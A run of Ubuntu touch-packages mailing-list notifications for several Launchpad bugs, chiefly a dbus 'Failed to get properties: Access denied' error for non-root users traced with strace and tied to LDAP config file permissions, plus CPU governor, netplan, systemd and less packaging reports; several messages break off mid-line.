  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
scsi_dh_emc not found in directory /lib/modules/5.3.0-1010-kvm
  Feb 10 13:56:07 autopkgtest modprobe[194]: modprobe: WARNING: Module 
scsi_dh_rdac not found in directory 

[Touch-packages] [Bug 1885948] Re: systemd 229 / dbus 1.10.6-1ubuntu3.5 (16.04) and systemd 237 / dbus 1.12.2-1ubuntu1.1 (18.04) error with "Failed to get properties: Access denied" when ran as non-ro

[Zahid Bukhari]

In my testing, using rootbinddn and separating LDAP info and LDAP creds
to separate files with ldap.conf as 444 and ldap.secret as 400 didn't
work for dbus.

I did change the group to messagebus and that worked.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dbus in Ubuntu.
https://bugs.launchpad.net/bugs/1885948

Title:
  systemd 229 / dbus 1.10.6-1ubuntu3.5 (16.04) and systemd 237 / dbus
  1.12.2-1ubuntu1.1 (18.04) error with "Failed to get properties: Access
  denied" when ran as non-root user

Status in dbus package in Ubuntu:
  New

Bug description:
  I've seen this bug reported but almost always it is when being ran as
  root.  This however is only an issue when ran as a non-root user.

  The root user is fine.  I've come across this several times and
  although it's not a major issue, the only solution I've found is to
  reboot the system.

  I see this when running strace, tracing the network.

  We recently installed docker-ce and updated our version of salt from
  2016.8.3 using python 2 to 2019.2.4 using python 3.

  ### 16.04 - systemd 229 on d1lmonitoringdev1 ###

  ## non-root user ##

  $ strace -f -s 16384 -e trace=network systemctl status ntp
  socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
  getsockopt(3, SOL_SOCKET, SO_RCVBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_RCVBUFFORCE, [8388608], 4) = -1 EPERM (Operation 
not permitted)
  setsockopt(3, SOL_SOCKET, SO_RCVBUF, [8388608], 4) = 0
  getsockopt(3, SOL_SOCKET, SO_SNDBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_SNDBUFFORCE, [8388608], 4) = -1 EPERM (Operation 
not permitted)
  setsockopt(3, SOL_SOCKET, SO_SNDBUF, [8388608], 4) = 0
  connect(3, {sa_family=AF_LOCAL, sun_path="/var/run/dbus/system_bus_socket"}, 
33) = 0
  getsockopt(3, SOL_SOCKET, SO_PEERCRED, {pid=1, uid=0, gid=0}, [12]) = 0
  getsockopt(3, SOL_SOCKET, SO_ACCEPTCONN, [0], [4]) = 0
  getsockname(3, {sa_family=AF_LOCAL, NULL}, [2]) = 0
  sendmsg(3, {msg_name(0)=NULL, msg_iov(3)=[{"\0AUTH EXTERNAL ", 15}, 
{"3130313631", 10}, {"\r\nNEGOTIATE_UNIX_FD\r\nBEGIN\r\n", 28}], 
msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 53
  recvmsg(3, {msg_name(0)=NULL, msg_iov(1)=[{"REJECTED EXTERNAL 
DBUS_COOKIE_SHA1 ANONYMOUS\r\nERROR \"Need to authenticate first\"\r\n", 256}], 
msg_controllen=0, msg_flags=MSG_CMSG_CLOEXEC}, 
MSG_DONTWAIT|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 82
  strace: Process 29413 attached
  [pid 29413] --- SIGCONT {si_signo=SIGCONT, si_code=SI_USER, si_pid=29412, 
si_uid=10161} ---
  Failed to get properties: Access denied
  [pid 29413] +++ exited with 0 +++
  --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=29413, 
si_uid=10161, si_status=0, si_utime=0, si_stime=0} ---
  +++ exited with 1 +++

  ## root user ##

  # Truncated because as root it works.
  $ sudo strace -f -s 16384 -e trace=network systemctl status ntp
  [sudo] password for zbukhari:
  socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
  getsockopt(3, SOL_SOCKET, SO_RCVBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_RCVBUFFORCE, [8388608], 4) = 0
  getsockopt(3, SOL_SOCKET, SO_SNDBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_SNDBUFFORCE, [8388608], 4) = 0
  connect(3, {sa_family=AF_LOCAL, sun_path="/run/systemd/private"}, 22) = 0
  getsockopt(3, SOL_SOCKET, SO_PEERCRED, {pid=1, uid=0, gid=0}, [12]) = 0
  getsockopt(3, SOL_SOCKET, SO_ACCEPTCONN, [0], [4]) = 0
  getsockname(3, {sa_family=AF_LOCAL, NULL}, [2]) = 0
  sendmsg(3, {msg_name(0)=NULL, msg_iov(3)=[{"\0AUTH EXTERNAL ", 15}, {"30", 
2}, {"\r\nNEGOTIATE_UNIX_FD\r\nBEGIN\r\n", 28}], msg_controllen=0, 
msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 45
  getsockopt(3, SOL_SOCKET, SO_PEERCRED, {pid=1, uid=0, gid=0}, [12]) = 0
  recvmsg(3, {msg_name(0)=NULL, msg_iov(1)=[{"OK 
3139491ef18e4f4c84fae863d4dd042f\r\nAGREE_UNIX_FD\r\n", 256}], 
msg_controllen=0, msg_flags=MSG_CMSG_CLOEXEC}, 
MSG_DONTWAIT|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 52
  sendmsg(3, {msg_name(0)=NULL, 
msg_iov(2)=[{"l\1\4\1\5\0\0\0\1\0\0\0\237\0\0\0\1\1o\0,\0\0\0/org/freedesktop/systemd1/unit/ntp_2eservice\0\0\0\0\3\1s\0\6\0\0\
  
0GetAll\0\0\2\1s\0\37\0\0\0org.freedesktop.DBus.Properties\0\6\1s\0\30\0\0\0org.freedesktop.systemd1\0\0\0\0\0\0\0\0\10\1g\0\1s\0\0",
 176}, {"\0\0\0\0\0", 5}], msg_controllen=0, msg_flags=0}, 
MSG_DONTWAIT|MSG_NOSIGNAL) = 181
  recvmsg(3, {msg_name(0)=NULL, msg_iov(1)=[{"l\2\1\1\35 
\0\0\1\0\0\0\23\0\0\0\5\1u\0\1\0\0\0", 24}], msg_controllen=0, 
msg_flags=MSG_CMSG_CLOEXEC}, MSG_DONTWAIT|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 24

  ### 18.04 - systemd 237 on d1lzbbyodev1 ###

  ## non-root user ##
  $ strace -f -s 16384 -e trace=%network systemctl  status ntp
  socket(AF_UNIX, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
  getsockopt(3, SOL_SOCKET, SO_RCVBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_RCVBUFFORCE, [8388608], 4) = -1 EPERM (Operation 
not permitted)
  setsockopt(3, SOL_SOCKET, SO_RCVBUF, 

[Touch-packages] [Bug 1885948] Re: systemd 229 (16.04) and 237 (18.04) error with "Failed to get properties: Access denied" when ran as non-root user

[Zahid Bukhari]

We have ldap.conf set to mode 440 as there is a sensitive password used
in our config to bind to LDAP.  This works for everything else that
needs it even at the user level via normal system calls.

However from what I can tell, dbus seems to need to be able to read the
file from an strace my co-workers ran.  In all my tests I didn't see it
go to strace, and this was prior to specifying the network, however in
their test run, they say an access denied for /etc/ldap.conf.

Just now I ran a test where I chmod'd it to be 444, and then ran
systemctl as a normal user, it worked.

My co-workers ran an strace against the dbus process and saw it was
trying to read /etc/ldap.conf.  I'm not sure why it would need that
versus just using syscalls.

Anyway, it worked.  So then I changed it back, changed into a different
user, it still worked.  Then I tried to invalidate nscd cache, it still
worked.

So I feel depending on what starts and or restarts where, it's a draw as
to whether or not it'll work.

I'm checking to see if dbus caches LDAP creds but also going to try and
separate ldap.conf creds to another file.

Thank you!

** Summary changed:

- systemd 229 (16.04) and 237 (18.04) error with "Failed to get properties: 
Access denied" when ran as non-root user
+ systemd 229 / dbus 1.10.6-1ubuntu3.5 (16.04) and systemd 237 / dbus 
1.12.2-1ubuntu1.1 (18.04) error with "Failed to get properties: Access denied" 
when ran as non-root user

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dbus in Ubuntu.
https://bugs.launchpad.net/bugs/1885948

Title:
  systemd 229 / dbus 1.10.6-1ubuntu3.5 (16.04) and systemd 237 / dbus
  1.12.2-1ubuntu1.1 (18.04) error with "Failed to get properties: Access
  denied" when ran as non-root user

Status in dbus package in Ubuntu:
  New

Bug description:
  I've seen this bug reported but almost always it is when being ran as
  root.  This however is only an issue when ran as a non-root user.

  The root user is fine.  I've come across this several times and
  although it's not a major issue, the only solution I've found is to
  reboot the system.

  I see this when running strace, tracing the network.

  We recently installed docker-ce and updated our version of salt from
  2016.8.3 using python 2 to 2019.2.4 using python 3.

  ### 16.04 - systemd 229 on d1lmonitoringdev1 ###

  ## non-root user ##

  $ strace -f -s 16384 -e trace=network systemctl status ntp
  socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
  getsockopt(3, SOL_SOCKET, SO_RCVBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_RCVBUFFORCE, [8388608], 4) = -1 EPERM (Operation 
not permitted)
  setsockopt(3, SOL_SOCKET, SO_RCVBUF, [8388608], 4) = 0
  getsockopt(3, SOL_SOCKET, SO_SNDBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_SNDBUFFORCE, [8388608], 4) = -1 EPERM (Operation 
not permitted)
  setsockopt(3, SOL_SOCKET, SO_SNDBUF, [8388608], 4) = 0
  connect(3, {sa_family=AF_LOCAL, sun_path="/var/run/dbus/system_bus_socket"}, 
33) = 0
  getsockopt(3, SOL_SOCKET, SO_PEERCRED, {pid=1, uid=0, gid=0}, [12]) = 0
  getsockopt(3, SOL_SOCKET, SO_ACCEPTCONN, [0], [4]) = 0
  getsockname(3, {sa_family=AF_LOCAL, NULL}, [2]) = 0
  sendmsg(3, {msg_name(0)=NULL, msg_iov(3)=[{"\0AUTH EXTERNAL ", 15}, 
{"3130313631", 10}, {"\r\nNEGOTIATE_UNIX_FD\r\nBEGIN\r\n", 28}], 
msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 53
  recvmsg(3, {msg_name(0)=NULL, msg_iov(1)=[{"REJECTED EXTERNAL 
DBUS_COOKIE_SHA1 ANONYMOUS\r\nERROR \"Need to authenticate first\"\r\n", 256}], 
msg_controllen=0, msg_flags=MSG_CMSG_CLOEXEC}, 
MSG_DONTWAIT|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 82
  strace: Process 29413 attached
  [pid 29413] --- SIGCONT {si_signo=SIGCONT, si_code=SI_USER, si_pid=29412, 
si_uid=10161} ---
  Failed to get properties: Access denied
  [pid 29413] +++ exited with 0 +++
  --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=29413, 
si_uid=10161, si_status=0, si_utime=0, si_stime=0} ---
  +++ exited with 1 +++

  ## root user ##

  # Truncated because as root it works.
  $ sudo strace -f -s 16384 -e trace=network systemctl status ntp
  [sudo] password for zbukhari:
  socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
  getsockopt(3, SOL_SOCKET, SO_RCVBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_RCVBUFFORCE, [8388608], 4) = 0
  getsockopt(3, SOL_SOCKET, SO_SNDBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_SNDBUFFORCE, [8388608], 4) = 0
  connect(3, {sa_family=AF_LOCAL, sun_path="/run/systemd/private"}, 22) = 0
  getsockopt(3, SOL_SOCKET, SO_PEERCRED, {pid=1, uid=0, gid=0}, [12]) = 0
  getsockopt(3, SOL_SOCKET, SO_ACCEPTCONN, [0], [4]) = 0
  getsockname(3, {sa_family=AF_LOCAL, NULL}, [2]) = 0
  sendmsg(3, {msg_name(0)=NULL, msg_iov(3)=[{"\0AUTH EXTERNAL ", 15}, {"30", 
2}, {"\r\nNEGOTIATE_UNIX_FD\r\nBEGIN\r\n", 28}], msg_controllen=0, 
msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 45
  getsockopt(3, SOL_SOCKET, 

[Touch-packages] [Bug 1885730] Re: Bring back ondemand.service or switch kernel default governor for pstate - pstate now defaults to performance governor

[Balint Reczey]

@xnox @juliank IMO there is no real need for different boot time and
post-boot governor.

I think where we would like to save power or be less noisy the
(possibly) faster boot does not have huge impact on user satisfaction.

I agree that fans should not be on all the time in laptops/desktops.

If we agree that there is no need for separate boot time and post-boot
governor then I think the proper place to set the right default is the
kernel.

I'd love to hear the Kernel Team's opinion on the matter because there
were quite of lot of discussions in
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1579278 .

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1885730

Title:
  Bring back ondemand.service or switch kernel default governor for
  pstate - pstate now defaults to performance governor

Status in linux package in Ubuntu:
  Confirmed
Status in systemd package in Ubuntu:
  New
Status in linux source package in Groovy:
  Confirmed
Status in systemd source package in Groovy:
  New

Bug description:
  In a recent merge from Debian we lost ondemand.service, meaning all
  CPUs now run in Turbo all the time when idle, which is clearly
  suboptimal.

  The discussion in bug 1806012 seems misleading, focusing on p-state vs
  other drivers, when in fact, the script actually set the default
  governor for the pstate driver on platforms that use pstate.
  Everything below only looks at systems that use pstate.

  pstate has two governors: performance and powerstate. performance runs
  CPU at maximum frequency constantly, and powersave can be configured
  using various energy profiles energy profiles:

  - performance
  - balanced performance
  - balanced power
  - power

  It defaults to balanced performance, I think, but I'm not sure.

  Whether performance governor is faster than powersave governor is not
  even clear.
  https://www.phoronix.com/scan.php?page=article=linux50-pstate-
  cpufreq=5 benchmarked them, but did not benchmark the individual
  energy profiles.

  For a desktop/laptop, the expected behavior is the powersave governor
  with balanced_performance on AC and balanced_power on battery.

  I don't know about servers or VMs, but the benchmark series seems to
  indicate it does not really matter much performance wise.

  I think most other distributions configure their kernels to use the
  powersave governor by default, whereas we configure it to use the
  performance governor and then switch it later in the boot to get the
  maximum performance during bootup. It's not clear to me that's
  actually useful.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1885730/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1837245] Re: Failed to bump fs.file-max, ignoring: Invalid argument

[Md Ayquassar]

Looks fixed to me in focal. Thx!!!

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1837245

Title:
  Failed to bump fs.file-max, ignoring: Invalid argument

Status in systemd package in Ubuntu:
  Fix Released

Bug description:
  $ journalctl -b

  [...]

  [3.786804] systemd[1]: Failed to bump fs.file-max, ignoring:
  Invalid argument

  ProblemType: Bug
  DistroRelease: Ubuntu 19.10
  Package: systemd 240-6ubuntu9
  ProcVersionSignature: Ubuntu 5.2.0-8.9-generic 5.2.0
  Uname: Linux 5.2.0-8-generic x86_64
  ApportVersion: 2.20.11-0ubuntu5
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Fri Jul 19 13:44:43 2019
  InstallationDate: Installed on 2018-12-02 (228 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  MachineType: HP HP Pavilion x360 Convertible 14-cd0xxx
  ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-5.2.0-8-generic 
root=UUID=28bdadba-133c-4f5b-a5c9-b06993ea7ce2 ro rootflags=subvol=@ quiet 
splash vt.handoff=7
  SourcePackage: systemd
  SystemdDelta:
   [EXTENDED]   /lib/systemd/system/rc-local.service → 
/lib/systemd/system/rc-local.service.d/debian.conf
   [EXTENDED]   /lib/systemd/system/user@.service → 
/lib/systemd/system/user@.service.d/timeout.conf

   2 overridden configuration files found.
  UpgradeStatus: Upgraded to eoan on 2018-12-02 (228 days ago)
  dmi.bios.date: 04/29/2019
  dmi.bios.vendor: Insyde
  dmi.bios.version: F.34
  dmi.board.asset.tag: Type2 - Board Asset Tag
  dmi.board.name: 8486
  dmi.board.vendor: HP
  dmi.board.version: 72.23
  dmi.chassis.asset.tag: Chassis Asset Tag
  dmi.chassis.type: 31
  dmi.chassis.vendor: HP
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnInsyde:bvrF.34:bd04/29/2019:svnHP:pnHPPavilionx360Convertible14-cd0xxx:pvrType1ProductConfigId:rvnHP:rn8486:rvr72.23:cvnHP:ct31:cvrChassisVersion:
  dmi.product.family: 103C_5335KV HP Pavilion
  dmi.product.name: HP Pavilion x360 Convertible 14-cd0xxx
  dmi.product.sku: 3PX63LA#ABM
  dmi.product.version: Type1ProductConfigId
  dmi.sys.vendor: HP

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1837245/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1876884] Re: netplan using incorrect renderer

[Yannik]

Will there be a fix for this on focal too?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to initramfs-tools in Ubuntu.
https://bugs.launchpad.net/bugs/1876884

Title:
  netplan using incorrect renderer

Status in dropbear package in Ubuntu:
  Triaged
Status in initramfs-tools package in Ubuntu:
  Fix Released
Status in netplan.io package in Ubuntu:
  Invalid
Status in dropbear source package in Focal:
  Triaged
Status in initramfs-tools source package in Focal:
  New
Status in netplan.io source package in Focal:
  Invalid
Status in dropbear source package in Groovy:
  Triaged
Status in initramfs-tools source package in Groovy:
  Fix Released
Status in netplan.io source package in Groovy:
  Invalid

Bug description:
  After upgrading ubuntu desktop from 19.10 to 20.04, it's impossible to enable 
screen sharing.
  It used to work fine on 19.10. 

  When clicking the enable/disable toggle, the following message is
  logged in journalctl:

  Failed to enable service vino-server:
  GDBus.Error:org.freedesktop.DBus.Error.InvalidArgs: Sharing cannot be
  enabled on this network, status is '0'

  This is reproducible on both computers I've upgraded. They're both on
  the latest 20.04 package updates as of today.

  I've done some research to rule out common faults:

  $ cat /etc/netplan/01-network-manager-all.yaml 
  # Let NetworkManager manage all devices on this system
  network:
version: 2
renderer: NetworkManager

  (Yes, I've ofc ran netplan apply, but the file already had this
  content anyway.)

  $ cat /etc/NetworkManager/NetworkManager.conf 
  [main]
  plugins=ifupdown,keyfile

  [ifupdown]
  managed=false

  [device]
  wifi.scan-rand-mac-address=no

  
  Also, this seems unrelated to #1871787:
  $ dpkg -l |grep gnome-settings-daemon
  ii  gnome-settings-daemon  3.36.0-1ubuntu2
  ii  gnome-settings-daemon-common   3.36.0-1ubuntu2
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  DistroRelease: Ubuntu 20.04
  InstallationDate: Installed on 2020-01-17 (108 days ago)
  InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017)
  Package: gnome-control-center 1:3.36.1-1ubuntu5
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.4.0-28.32-generic 5.4.30
  Tags:  focal
  Uname: Linux 5.4.0-28-generic x86_64
  UpgradeStatus: Upgraded to focal on 2020-04-28 (6 days ago)
  UserGroups:
   
  _MarkForUpload: True

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dropbear/+bug/1876884/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1874953] Autopkgtest regression report (less/551-1ubuntu0.1)

[Ubuntu SRU Bot]

All autopkgtests for the newly accepted less (551-1ubuntu0.1) for focal have 
finished running.
The following regressions have been reported in tests triggered by the package:

mercurial/5.3.1-1ubuntu1 (s390x)


Please visit the excuses page listed below and investigate the failures, 
proceeding afterwards as per the StableReleaseUpdates policy regarding 
autopkgtest regressions [1].

https://people.canonical.com/~ubuntu-archive/proposed-
migration/focal/update_excuses.html#less

[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions

Thank you!

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to less in Ubuntu.
https://bugs.launchpad.net/bugs/1874953

Title:
  dpkg: conffile difference visualizer subprocess returned error exit
  status 127

Status in dpkg package in Ubuntu:
  Invalid
Status in less package in Ubuntu:
  Fix Released
Status in smartmontools package in Ubuntu:
  Invalid
Status in dpkg source package in Focal:
  Invalid
Status in less source package in Focal:
  Fix Committed
Status in smartmontools source package in Focal:
  Invalid
Status in dpkg source package in Groovy:
  Invalid
Status in less source package in Groovy:
  Fix Released
Status in smartmontools source package in Groovy:
  Invalid
Status in dpkg package in Debian:
  New
Status in less package in Debian:
  Fix Committed

Bug description:
  [Impact]
  During a release upgrade to Ubuntu 20.04 LTS some users are not able to view 
the differences made to a configuration file during the upgrade process. This 
creates a bad user experience and leads to extra crash reports.

  [Test Case]
  1) Upgrade from a not usr-merged system (Ubuntu 16.04 LTS) to Ubuntu 18.04 LTS
  2) Install the smartmontools package
  3) Edit /etc/default/smartmontools (it's enough to just add a comment in 
there)
  4) Upgrade to Ubuntu 20.04 LTS (this requires do-release-upgrade -d as 
20.04.1 is not out yet so release upgrades are not enabled)

  To test the fix in the version of less from focal-proposed some
  hackery of the release upgrader code will be necessary as it disables
  proposed during the upgrade process. After enabling -proposed for
  bionic you'll want to run do-release-upgrade -d, then cancel the
  upgrade. After which you can cd to /tmp/ubuntu-release-
  upgrader-$MKTMPDIR and edit DistUpgradeController.py and the if
  statement around line 641 re "Disable proposed on upgrade to a
  development release". Then run 'sudo ./focal'.

  [Regression Potential]
  None, as we are just calling update-alternatives in the preinst of less.

  
  Issue occurred on upgrade from 19.10 to 20.04

  ProblemType: PackageDistroRelease: Ubuntu 20.04
  Package: smartmontools 7.1-1build1
  ProcVersionSignature: Ubuntu 5.3.0-46.38-generic 5.3.18
  Uname: Linux 5.3.0-46-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  Date: Fri Apr 24 21:33:08 2020
  ErrorMessage: conffile difference visualizer subprocess returned error exit 
status 127
  InstallationDate: Installed on 2011-06-18 (3233 days ago)InstallationMedia: 
Ubuntu-Server 11.04 "Natty Narwhal" - Release amd64 (20110426)
  Python3Details: /usr/bin/python3.8, Python 3.8.2, python3-minimal, 
3.8.2-0ubuntu2
  PythonDetails: /usr/bin/python2.7, Python 2.7.18rc1, python-is-python2, 
2.7.17-4
  RelatedPackageVersions:
   dpkg 1.19.7ubuntu3
   apt  2.0.2SourcePackage: smartmontools
  Title: package smartmontools 7.1-1build1 failed to install/upgrade: conffile 
difference visualizer subprocess returned error exit status 127
  UpgradeStatus: Upgraded to focal on 2020-04-25 (0 days ago)
  mtime.conffile..etc.default.smartmontools: 2017-12-08T19:12:02.064375
  mtime.conffile..etc.smartd.conf: 2017-12-08T20:27:28.727282

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dpkg/+bug/1874953/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1885948] Re: systemd 229 (16.04) and 237 (18.04) error with "Failed to get properties: Access denied" when ran as non-root user

[Zahid Bukhari]

This is related with systemd and dbus.  Possibly nsswitch, ldap and
nscd.

However dbus sees the user as not being authenticated.  As such, I'm
switching this over to dbus.

We see this issue every now and then depending on what we install so I
feel there's a race condition taking place which affects the order.
I'll put more details below, hopefully we can at least advise others on
this particular scenario if it's not a bug, however as systemd has
before, after methods, perhaps we can refine the unit files?

** Package changed: systemd (Ubuntu) => dbus (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dbus in Ubuntu.
https://bugs.launchpad.net/bugs/1885948

Title:
  systemd 229 (16.04) and 237 (18.04) error with "Failed to get
  properties: Access denied" when ran as non-root user

Status in dbus package in Ubuntu:
  New

Bug description:
  I've seen this bug reported but almost always it is when being ran as
  root.  This however is only an issue when ran as a non-root user.

  The root user is fine.  I've come across this several times and
  although it's not a major issue, the only solution I've found is to
  reboot the system.

  I see this when running strace, tracing the network.

  We recently installed docker-ce and updated our version of salt from
  2016.8.3 using python 2 to 2019.2.4 using python 3.

  ### 16.04 - systemd 229 on d1lmonitoringdev1 ###

  ## non-root user ##

  $ strace -f -s 16384 -e trace=network systemctl status ntp
  socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
  getsockopt(3, SOL_SOCKET, SO_RCVBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_RCVBUFFORCE, [8388608], 4) = -1 EPERM (Operation 
not permitted)
  setsockopt(3, SOL_SOCKET, SO_RCVBUF, [8388608], 4) = 0
  getsockopt(3, SOL_SOCKET, SO_SNDBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_SNDBUFFORCE, [8388608], 4) = -1 EPERM (Operation 
not permitted)
  setsockopt(3, SOL_SOCKET, SO_SNDBUF, [8388608], 4) = 0
  connect(3, {sa_family=AF_LOCAL, sun_path="/var/run/dbus/system_bus_socket"}, 
33) = 0
  getsockopt(3, SOL_SOCKET, SO_PEERCRED, {pid=1, uid=0, gid=0}, [12]) = 0
  getsockopt(3, SOL_SOCKET, SO_ACCEPTCONN, [0], [4]) = 0
  getsockname(3, {sa_family=AF_LOCAL, NULL}, [2]) = 0
  sendmsg(3, {msg_name(0)=NULL, msg_iov(3)=[{"\0AUTH EXTERNAL ", 15}, 
{"3130313631", 10}, {"\r\nNEGOTIATE_UNIX_FD\r\nBEGIN\r\n", 28}], 
msg_controllen=0, msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 53
  recvmsg(3, {msg_name(0)=NULL, msg_iov(1)=[{"REJECTED EXTERNAL 
DBUS_COOKIE_SHA1 ANONYMOUS\r\nERROR \"Need to authenticate first\"\r\n", 256}], 
msg_controllen=0, msg_flags=MSG_CMSG_CLOEXEC}, 
MSG_DONTWAIT|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 82
  strace: Process 29413 attached
  [pid 29413] --- SIGCONT {si_signo=SIGCONT, si_code=SI_USER, si_pid=29412, 
si_uid=10161} ---
  Failed to get properties: Access denied
  [pid 29413] +++ exited with 0 +++
  --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=29413, 
si_uid=10161, si_status=0, si_utime=0, si_stime=0} ---
  +++ exited with 1 +++

  ## root user ##

  # Truncated because as root it works.
  $ sudo strace -f -s 16384 -e trace=network systemctl status ntp
  [sudo] password for zbukhari:
  socket(PF_LOCAL, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 3
  getsockopt(3, SOL_SOCKET, SO_RCVBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_RCVBUFFORCE, [8388608], 4) = 0
  getsockopt(3, SOL_SOCKET, SO_SNDBUF, [212992], [4]) = 0
  setsockopt(3, SOL_SOCKET, SO_SNDBUFFORCE, [8388608], 4) = 0
  connect(3, {sa_family=AF_LOCAL, sun_path="/run/systemd/private"}, 22) = 0
  getsockopt(3, SOL_SOCKET, SO_PEERCRED, {pid=1, uid=0, gid=0}, [12]) = 0
  getsockopt(3, SOL_SOCKET, SO_ACCEPTCONN, [0], [4]) = 0
  getsockname(3, {sa_family=AF_LOCAL, NULL}, [2]) = 0
  sendmsg(3, {msg_name(0)=NULL, msg_iov(3)=[{"\0AUTH EXTERNAL ", 15}, {"30", 
2}, {"\r\nNEGOTIATE_UNIX_FD\r\nBEGIN\r\n", 28}], msg_controllen=0, 
msg_flags=0}, MSG_DONTWAIT|MSG_NOSIGNAL) = 45
  getsockopt(3, SOL_SOCKET, SO_PEERCRED, {pid=1, uid=0, gid=0}, [12]) = 0
  recvmsg(3, {msg_name(0)=NULL, msg_iov(1)=[{"OK 
3139491ef18e4f4c84fae863d4dd042f\r\nAGREE_UNIX_FD\r\n", 256}], 
msg_controllen=0, msg_flags=MSG_CMSG_CLOEXEC}, 
MSG_DONTWAIT|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 52
  sendmsg(3, {msg_name(0)=NULL, 
msg_iov(2)=[{"l\1\4\1\5\0\0\0\1\0\0\0\237\0\0\0\1\1o\0,\0\0\0/org/freedesktop/systemd1/unit/ntp_2eservice\0\0\0\0\3\1s\0\6\0\0\
  
0GetAll\0\0\2\1s\0\37\0\0\0org.freedesktop.DBus.Properties\0\6\1s\0\30\0\0\0org.freedesktop.systemd1\0\0\0\0\0\0\0\0\10\1g\0\1s\0\0",
 176}, {"\0\0\0\0\0", 5}], msg_controllen=0, msg_flags=0}, 
MSG_DONTWAIT|MSG_NOSIGNAL) = 181
  recvmsg(3, {msg_name(0)=NULL, msg_iov(1)=[{"l\2\1\1\35 
\0\0\1\0\0\0\23\0\0\0\5\1u\0\1\0\0\0", 24}], msg_controllen=0, 
msg_flags=MSG_CMSG_CLOEXEC}, MSG_DONTWAIT|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 24

  ### 18.04 - systemd 237 on d1lzbbyodev1 ###

  ## non-root user ##
  $ strace -f -s 16384 -e 

